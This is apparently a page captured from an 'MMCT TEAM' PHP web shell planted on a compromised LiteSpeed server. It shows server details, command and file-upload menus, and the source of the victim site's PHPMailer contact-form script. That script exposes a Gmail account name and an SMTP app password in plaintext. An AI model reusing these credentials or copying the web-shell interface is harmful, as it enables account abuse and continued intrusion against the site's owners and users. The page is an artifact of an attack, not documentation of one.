MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.226
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/bmtrust.org.in/../public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/bmtrust.org.in/../public_html/send_email_contact_form.php
// ---------------------------------------------------------------------------

<?php

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

header('Content-Type: text/plain; charset=utf-8');

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Sanitize input
    $first_name = htmlspecialchars(trim($_POST['first_name']));
    $last_name = htmlspecialchars(trim($_POST['last_name']));
    $city = htmlspecialchars(trim($_POST['city']));
    $country_id = htmlspecialchars(trim($_POST['country_id']));
    $email = htmlspecialchars(trim($_POST['email']));
    $looking_for = htmlspecialchars(trim($_POST['looking_for']));
    $contact_category_id = htmlspecialchars(trim($_POST['contact_category_id']));
    $contact_subcategory_id = htmlspecialchars(trim($_POST['contact_subcategory_id']));
    $country_code = htmlspecialchars(trim($_POST['country_code']));
    $contact_number = htmlspecialchars(trim($_POST['contact_number']));
    $company_name = htmlspecialchars(trim($_POST['company_name']));
    $message = htmlspecialchars(trim($_POST['message']));

    // Function to validate name fields
    function isValidName($input)
    {
        return preg_match("/^[a-zA-Z\s]{1,20}$/", $input);
    }

    // Validate each field
    if (!isValidName($first_name)) {
        echo "Invalid first name. Only letters allowed, max 20 characters.";
        exit;
    }
    if (!isValidName($last_name)) {
        echo "Invalid last name. Only letters allowed, max 20 characters.";
        exit;
    }
    if (!isValidName($city)) {
        echo "Invalid city. Only letters allowed, max 20 characters.";
        exit;
    }
    if (!isValidName($company_name)) {
        echo "Invalid company name. Only letters allowed, max 20 characters.";
        exit;
    }

    // Validate message
    if (strlen($message) > 250) {
        echo "Message should not exceed 250 characters.";
        exit;
    }
    if (preg_match('/https?:\/\/|www\./i', $message)) {
        echo "Links are not allowed in the message.";
        exit;
    }

    // Validate email
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        echo "Invalid email format.";
        exit;
    }

    // PHPMailer setup
    $mail = new PHPMailer(true);
    try {
        $mail->isSMTP();
        $mail->Host = 'smtp.gmail.com';
        $mail->SMTPAuth = true;
        $mail->Username = 'ncriptech1@gmail.com';
        $mail->Password = 'jigh mrpm wamg kodq';
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
        $mail->Port = 587;

        $mail->setFrom('ncriptech1@gmail.com', 'Ncriptech Contact Form');
        $mail->addAddress('ncriptech@gmail.com');
        $mail->addReplyTo($email, $first_name);
        $mail->addAddress($email, $first_name);

        $mail->isHTML(true);
        $mail->Subject = 'Thank you for contacting us';
        $mail->Body = "
            <p>You have submitted a contact request. Here's a copy of your message:</p>
            <hr>
            <b>First Name:</b> $first_name<br>
            <b>Last Name:</b> $last_name<br>
            <b>City:</b> $city<br>
            <b>Country:</b> $country_id<br>
            <b>Email:</b> $email<br>
            <b>Purpose of Contact:</b> $looking_for<br>
            <b>Select a Service:</b> $contact_category_id<br>
            <b>Service Subcategory:</b> $contact_subcategory_id<br>
            <b>Country Code:</b> $country_code<br>
            <b>Contact Number:</b> $contact_number<br>
            <b>Company Name:</b> $company_name<br>
            <b>Message:</b> $message<br>
            <hr>
            <p>Our team will get back to you soon. Thank you!</p>
        ";

        $mail->send();
        echo 'ok';
    } catch (Exception $e) {
        echo "error {$mail->ErrorInfo}";
    }
} else {
    echo "error";
}

MMCT - 2023